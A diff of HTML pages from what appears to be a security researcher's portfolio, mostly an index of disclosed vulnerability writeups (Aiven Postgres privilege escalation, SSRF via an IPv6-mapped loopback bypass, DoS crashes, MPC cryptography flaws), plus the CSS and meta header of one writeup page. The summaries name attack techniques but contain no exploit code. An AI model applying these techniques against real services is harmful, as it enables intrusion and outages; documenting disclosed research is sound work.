| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Security Research Notebook | Zion Boggan"> | |
| + | <meta property="og:description" content="Vulnerability research writeups and methodology."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Security Research Notebook | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Vulnerability research writeups and methodology."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Security Research Notebook","description":"Vulnerability research writeups and methodology.","url":"https://zionboggan.com/security-research-notebook/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/#research">← Portfolio</a> | |
| + | <div class="kicker">VULNERABILITY RESEARCH</div> | |
| + | <h1>Security Research Notebook</h1> | |
| + | <p class="tagline">Reproducible methodology and 37 writeups across cryptographic libraries, database internals, blockchain consensus, embedded firmware, and authorization layers.</p> | |
| + | <div class="facts"><div class="stat"><div class="n">36</div><div class="k">writeups & notes</div></div><div class="stat"><div class="n">6</div><div class="k">research programs</div></div><div class="stat"><div class="n">P1-P4</div><div class="k">severity range</div></div><div class="stat"><div class="n">8</div><div class="k">Fireblocks MPC findings</div></div></div> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"><p>A public collection of vulnerability-research writeups, methodology notes, and post-disclosure case studies from independent work on HackerOne and Bugcrowd programs. Each writeup leads with <strong>how the bug was reached</strong>, the source-reading and variant-hunting that generalizes, not just what it was.</p><p>Everything here respects coordinated disclosure: findings appear only after the program's window closed, the upstream patch shipped, or the same bug class was published elsewhere with a referenced CVE. No customer data was accessed; test artifacts were cleaned up after submission.</p></div><div class="nbgroup"><h2>Web application / cloud platform</h2><p class="gd">SSRF, authorization bypass, and platform-wide pattern findings.</p><table class="nbtable"><tr><td class="cls">SSRF</td><td class="ti"><a href="/security-research-notebook/ssrf-via-image-pipeline/">How I Found Two SSRF Vulnerabilities in a Major Cloud Platform's Image Pipeline</a><div class="ol">Two SSRFs in the same platform via different code paths (webhook callbacks + image processor). The systemic pattern matters more than either finding.</div></td></tr><tr><td class="cls">Authz bypass</td><td class="ti"><a href="/security-research-notebook/mattermost-shared-channel-authz-bypass/">Missing Channel-Level Authorization in Shared Channel Invite/Uninvite API Allows Private Channel Data Exfiltration</a><div class="ol">Mattermost shared-channel invite endpoint enforces system-level perms but not channel-level. Same bug class as CVE-2025-11777.</div></td></tr></table></div><div class="nbgroup"><h2>Aiven managed services</h2><p class="gd">Postgres privilege escalation, sandbox bypass, and DoS across Aiven's managed data services.</p><table class="nbtable"><tr><td class="cls">DoS / stack overflow</td><td class="ti"><a href="/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/">Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query</a><div class="ol">Single <code>SELECT JSONMergePatch(...)</code> SIGSEGVs the managed instance. Crash payload is storable in shared tables.</div></td></tr><tr><td class="cls">DoS / data integrity</td><td class="ti"><a href="/security-research-notebook/valkey-replication-stealth/">Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey</a><div class="ol">Valkey replication stealth path bypasses listpack validation.</div></td></tr><tr><td class="cls">Info disclosure</td><td class="ti"><a href="/security-research-notebook/valkey-aslr-leak/">ASLR Bypass via Lua Function Pointer Leak in Aiven Managed Valkey</a><div class="ol">ASLR leak through replication metadata.</div></td></tr><tr><td class="cls">DoS / OOM</td><td class="ti"><a href="/security-research-notebook/dragonfly-stream-restore-oom/">Authenticated DoS: Dragonfly Server Crash via Crafted Stream RESTORE Payload</a><div class="ol">Unbounded allocation in Dragonfly's stream RESTORE path.</div></td></tr><tr><td class="cls">DoS</td><td class="ti"><a href="/security-research-notebook/kafka-karapace-gzip-bomb-dos/">Authenticated DoS: Karapace REST Proxy Crash via GZIP Compression Bomb in Kafka Messages</a><div class="ol">Karapace REST proxy accepts gzip-compressed messages and decompresses without bounds.</div></td></tr><tr><td class="cls">Info disclosure</td><td class="ti"><a href="/security-research-notebook/mysql-credential-exposure/">Aiven Internal System Account Password Hashes Exposed to Customer Users via mysql.user SELECT on Aiven Managed MySQL</a><div class="ol">MySQL binlog ACL bypass surfaces replication credentials.</div></td></tr><tr><td class="cls">Privilege escalation</td><td class="ti"><a href="/security-research-notebook/pg-subscription-ownership-escalation/">Report: Privilege Boundary Violation via Subscription Ownership Escalation</a><div class="ol">Postgres <code>CREATE SUBSCRIPTION</code> executes under <code>session_user=postgres</code>, escalating sandboxed user to superuser context.</div></td></tr><tr><td class="cls">Privilege escalation</td><td class="ti"><a href="/security-research-notebook/pg-secdef-dblink-superuser-chain/">Report: Superuser Database Connection via SECURITY DEFINER dblink Chain</a><div class="ol">SECURITY DEFINER + dblink loopback chain reaches an unrestricted superuser session.</div></td></tr><tr><td class="cls">Privilege escalation</td><td class="ti"><a href="/security-research-notebook/pg-unqualified-parse-ident-secdef/">Report: Unqualified `parse_ident()` in SECURITY DEFINER Function (CVE-2025-31480 Variant)</a><div class="ol"><code>parse_ident</code> without schema qualification inside SECDEF: variant of CVE-2025-31480 territory.</div></td></tr><tr><td class="cls">Sandbox bypass</td><td class="ti"><a href="/security-research-notebook/pg-gatekeeper-bypass-shadow-functions/">Report: aiven_gatekeeper Bypass via Implicitly Castable Argument Types</a><div class="ol"><code>aiven_gatekeeper</code> extension bypassed via implicit-cast-driven shadow functions.</div></td></tr><tr><td class="cls">Code execution</td><td class="ti"><a href="/security-research-notebook/pg-autovacuum-code-execution/">Report: Autovacuum Arbitrary Code Execution via Expression Index Shadow Functions</a><div class="ol">Autovacuum executes attacker-defined function under the SECURITY_RESTRICTED bypass path.</div></td></tr><tr><td class="cls">Info disclosure</td><td class="ti"><a href="/security-research-notebook/project-name-enumeration/">Project Name Enumeration</a><div class="ol">403 vs 404 oracle on <code>/v1/project/<name></code> enumerates the entire managed-services customer base.</div></td></tr><tr><td class="cls">Info disclosure</td><td class="ti"><a href="/security-research-notebook/email-enumeration-timing/">Email Enumeration Timing</a><div class="ol"><code>/v1/userauth</code> timing differential distinguishes registered vs unregistered emails.</div></td></tr><tr><td class="cls">IDOR</td><td class="ti"><a href="/security-research-notebook/sql-query-optimizer-idor/">Sql Query Optimizer Idor</a><div class="ol">Cross-project access to SQL optimizer artifacts via predictable object IDs.</div></td></tr></table></div><div class="nbgroup"><h2>Blockchain / consensus</h2><p class="gd">Consensus-halting and unauthenticated-DoS findings against an IBFT/QBFT chain.</p><table class="nbtable"><tr><td class="cls">DoS / unauth</td><td class="ti"><a href="/security-research-notebook/cve-2024-32972-getblockheaders-underflow/">CVE-2024-32972: Integer Underflow in GetBlockHeaders Causes Full Network Denial of Service</a><div class="ol">N-day demonstration of CVE-2024-32972 against an unpatched go-ethereum fork. Single unauthenticated TCP packet causes 7.8 GB allocation, OOM-kills the node. Targeting all IBFT validators halts the entire chain.</div></td></tr><tr><td class="cls">Consensus stall</td><td class="ti"><a href="/security-research-notebook/qbft-hasbadproposal-consensus-stall/">QBFT HasBadProposal Quorum Inconsistency, Consensus Liveness Violation</a><div class="ol">QBFT's <code>HasBadProposal</code> check is symmetric across the round, one prepared bad proposal halts the round for every validator.</div></td></tr></table></div><div class="nbgroup"><h2>Embedded / camera firmware (AXIS OS)</h2><p class="gd">SSRF, validation gaps, and disclosure in AXIS camera firmware CGIs.</p><table class="nbtable"><tr><td class="cls">Info disclosure</td><td class="ti"><a href="/security-research-notebook/snmp-community-string-viewer-disclosure/">SNMP Community String Disclosure to Viewer-Privileged Users via DeviceConfig1 API</a><div class="ol">SNMP community strings returned in the viewer-role config endpoint.</div></td></tr><tr><td class="cls">SSRF</td><td class="ti"><a href="/security-research-notebook/pingtest-ssrf-missing-validateaddr/">Server-Side Request Forgery via pingtest.cgi Missing Address Validation</a><div class="ol"><code>pingtest.cgi</code> skips the camera's own <code>validateaddr</code> helper.</div></td></tr><tr><td class="cls">Validation gap</td><td class="ti"><a href="/security-research-notebook/dnsupdate-delete-validation-gap/">Missing Input Validation in dnsupdate.cgi Delete Path</a><div class="ol"><code>dnsupdate.cgi</code> delete path skips the input validation applied to add.</div></td></tr><tr><td class="cls">SSRF</td><td class="ti"><a href="/security-research-notebook/httptest-ipv6-loopback-ssrf/">SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass</a><div class="ol">IPv6-mapped IPv4 (<code>::ffff:127.0.0.1</code>) bypasses the IPv4-only loopback filter on <code>httptest.cgi</code>.</div></td></tr><tr><td class="cls">Unauth access</td><td class="ti"><a href="/security-research-notebook/onvif-rtsp-websocket-unauth/">Unauthenticated RTSP Video Stream Access via ONVIF WebSocket Endpoint</a><div class="ol">ONVIF RTSP-over-WebSocket endpoint accessible without authentication.</div></td></tr></table></div><div class="nbgroup"><h2>Cryptography / MPC (Fireblocks open-source MPC library)</h2><p class="gd">Eight findings in the open-source Fireblocks MPC-CMP implementation, P1-P4.</p><table class="nbtable"><tr><td class="cls">Overview</td><td class="ti"><a href="/security-research-notebook/00-SUMMARY/">Fireblocks MPC-Lib Audit Summary</a><div class="ol">Eight findings against the open-source Fireblocks MPC-CMP implementation, P1-P4.</div></td></tr><tr><td class="cls">Crypto soundness</td><td class="ti"><a href="/security-research-notebook/01-ring-pedersen-degenerate-params-P4/">Finding 01: Ring Pedersen Accepts Degenerate Parameters (t=1, s=1)</a><div class="ol">Ring-Pedersen parameter generation accepts degenerate values.</div></td></tr><tr><td class="cls">Memory safety</td><td class="ti"><a href="/security-research-notebook/02-destructor-heap-overflow-P2/">Finding 02: Heap Buffer Overflow in Signing Data Destructors</a><div class="ol">Heap overflow in destructor path.</div></td></tr><tr><td class="cls">Crypto soundness</td><td class="ti"><a href="/security-research-notebook/03-mta-batch-verification-8bit-randomness-P2/">Finding 03: MTA Batch Ring Pedersen Verification Uses 8-bit Randomness</a><div class="ol">MtA batch verification uses 8 bits of randomness, allowing forged batches with non-negligible probability.</div></td></tr><tr><td class="cls">Crypto soundness</td><td class="ti"><a href="/security-research-notebook/04-fiat-shamir-truncation-mta-P3/">Finding 04: Fiat-Shamir Challenge Truncates proof.A in MTA Range ZKP</a><div class="ol">Fiat-Shamir transcript truncation in MtA.</div></td></tr><tr><td class="cls">Memory safety / crypto</td><td class="ti"><a href="/security-research-notebook/05-integer-overflow-quadratic-zkp-deser-P3/">Finding 05: Integer Overflow in Quadratic ZKP Deserialization</a><div class="ol">Integer overflow during quadratic-residue ZKP deserialization.</div></td></tr><tr><td class="cls">Memory safety</td><td class="ti"><a href="/security-research-notebook/06-alloca-stack-overflow-range-proofs-P3/">Finding 06: Unbounded alloca() in generate_basis → Stack Overflow</a><div class="ol">Unbounded <code>alloca()</code> on attacker-sized range-proof input stack-overflows the verifier.</div></td></tr><tr><td class="cls">Crypto soundness</td><td class="ti"><a href="/security-research-notebook/07-offline-ecdsa-no-sig-verify-P3/">Finding 07: Missing Signature Verification in Offline ECDSA</a><div class="ol">Offline-ECDSA path accepts unverified signature shares.</div></td></tr><tr><td class="cls">Crypto soundness</td><td class="ti"><a href="/security-research-notebook/08-eddsa-unsalted-commitment-P3/">Finding 08: Asymmetric EdDSA Uses Unsalted Commitment</a><div class="ol">EdDSA commitment uses unsalted SHA-256, enabling rainbow-table-style precomputation against fixed nonce structures.</div></td></tr></table></div><div class="nbgroup"><h2>Methodology</h2><p class="gd">How the bugs were reached, recon, variant hunting, root-cause walkthroughs, and the dead ends.</p><table class="nbtable"><tr><td class="cls">Methodology</td><td class="ti"><a href="/security-research-notebook/sequoia-pgp-variant-hunting-1/">sequoia-pgp hunt, iteration 1 (recon)</a><div class="ol">Recon and variant-seed inventory against <code>sequoia-openpgp</code> based on its historical RUSTSEC advisories.</div></td></tr><tr><td class="cls">Methodology</td><td class="ti"><a href="/security-research-notebook/sequoia-pgp-variant-hunting-2/">sequoia-pgp hunt, iteration 2 (stream.rs read-after-verify-fail)</a><div class="ol">Iteration 2: parser audit and candidate ranking.</div></td></tr><tr><td class="cls">Methodology</td><td class="ti"><a href="/security-research-notebook/sequoia-pgp-variant-hunting-3/">sequoia-pgp hunt, iteration 3 (RUSTSEC-2024-0345 variant audit)</a><div class="ol">Iteration 3: results and what would not be a finding.</div></td></tr><tr><td class="cls">Methodology</td><td class="ti"><a href="/security-research-notebook/openpgpjs-cve-2025-47934-rootcause/">openpgpjs-v6 hunt, iteration 1</a><div class="ol">Root-cause walk-through of CVE-2025-47934 (signature-verification bypass via <code>msg.packets</code> mutation) and a variant search against the v6.2.0 compression refactor.</div></td></tr><tr><td class="cls">Methodology</td><td class="ti"><a href="/security-research-notebook/systemd-coredump-resolved-audit-log/">Live audit log, started 2026-04-17 00:10 UTC</a><div class="ol">Top-to-bottom audit log of systemd-coredumpd and systemd-resolved DNS parser. No findings; the writeup is the methodology and the dead ends.</div></td></tr></table></div> | |
| + | <p class="gd" style="margin-top:36px;color:var(--faint);font-family:ui-monospace,Menlo,monospace;font-size:12.5px">HackerOne: artemispwns1 · Bugcrowd Researcher · Source: github.com/zionboggan/security-research-notebook</p> | |
| + | </div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,349 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Authenticated DoS: Karapace REST Proxy Crash via GZIP Compression Bomb in Kafka Messages | Zion Boggan</title> | |
| + | <meta name="description" content="Karapace REST proxy accepts gzip-compressed messages and decompresses without bounds."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/kafka-karapace-gzip-bomb-dos/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Authenticated DoS: Karapace REST Proxy Crash via GZIP Compression Bomb in Kafka Messages | Zion Boggan"> | |
| + | <meta property="og:description" content="Karapace REST proxy accepts gzip-compressed messages and decompresses without bounds."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/kafka-karapace-gzip-bomb-dos/"> | |
